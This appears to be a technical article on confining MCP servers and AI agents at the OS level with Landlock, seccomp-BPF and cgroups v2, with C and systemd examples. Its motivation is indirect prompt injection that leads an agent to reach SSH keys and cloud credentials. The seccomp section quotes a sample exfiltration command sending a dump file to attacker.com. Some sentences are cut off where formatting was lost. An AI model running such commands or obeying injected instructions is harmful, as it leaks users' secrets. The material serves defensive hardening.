The Failure of Application-Level Tool Guardrails
~/.ssh, access to active cloud sessions under ~/.aws/credentials, and full network access across the loopback and local subnets. When an indirect prompt injection succeeds, the blast radius is identical to an attacker obtaining an interactive shell as that engineer. Relying on the LLM to 'refuse dangerous actions' violates the core tenets of defensive systems design; security boundaries must reside in the operating system kernel, completely decoupled from agent cognition.
Constraining Filesystem Reach with Landlock LSM
chmod, chown) cannot prevent a compromised MCP process from reading credentials owned by the same user ID. Enter Landlock, a Linux Security Module (LSM) available since kernel 5.13 that allows unprivileged processes to restrict their own filesystem hierarchy without requiring root or complex AppArmor profiles. Before accepting remote procedure calls over standard input, an MCP daemon should voluntarily bind itself to a strict directory sandbox. If a tool only needs to inspect files within a specific repository workspace, Landlock can revoke read and write permissions for the rest of the root filesystem, rendering attacks targeting dotfiles or host secrets dead on arrival.
C
struct landlock_ruleset_attr ruleset = {
.handled_access_fs = LANDLOCK_ACCESS_FS_EXECUTE | LANDLOCK_ACCESS_FS_READ_FILE |
LANDLOCK_ACCESS_FS_WRITE_FILE | LANDLOCK_ACCESS_FS_MAKE_REG
};
int ruleset_fd = syscall(__NR_landlock_create_ruleset, &ruleset, sizeof(ruleset), 0);
// Allow access only to the targeted repository path
struct landlock_path_beneath_attr path = { .parent_fd = repo_fd, .allowed_access = ruleset.handled_access_fs };
syscall(__NR_landlock_add_rule, ruleset_fd, LANDLOCK_RULE_TYPE_PATH_BENEATH, &path, 0);
syscall(__NR_landlock_restrict_self, ruleset_fd, 0);landlock_restrict_self executes, any subsequent openat() call referencing /home/user/.ssh/id_ed25519 returns EACCES directly from the kernel VFS layer, even if file permissions on disk would normally allow read access. Because Landlock rulesets cannot be widened once locked, the sandbox persists across all child subprocesses spawned by the MCP server.
Neutralizing Lateral Movement with Seccomp-BPF
socket(), connect(), bind(), ptrace(), and clone3() with unshare flags. By passing a compact Berkeley Packet Filter program via prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...), we guarantee that if an injected prompt tricks the agent into executing a payload like curl -d @/tmp/dump attacker.com, the invocation immediately dies with SIGSYS. When combined with Landlock, seccomp eliminates outbound exfiltration channels without breaking the core stdout-based streaming protocols that MCP daemons rely on for host communication.
Enforcing Host Stability via Cgroups v2 Ceilings
INI
# /etc/systemd/system/[email protected]/resource-limits.conf
[Service]
CPUWeight=100
CPUQuota=150%
MemoryHigh=512M
MemoryMax=1G
TasksMax=64
MemoryAccounting=yesTasksMax=64 directly limits pids.max in the cgroup hierarchy, ensuring that recursive shell invocations fail immediately once the threshold is crossed. Simultaneously, MemoryHigh invokes proactive kernel page reclamation and throttle mechanics before the process breaches MemoryMax, preventing abrupt system crashes while isolating the blast radius of runaway subcommands. Running MCP servers under transient systemd scopes or dedicated unprivileged container runtimes guarantees that anomalous agent activity never compromises the developer machine or co-located multi-tenant inference nodes.
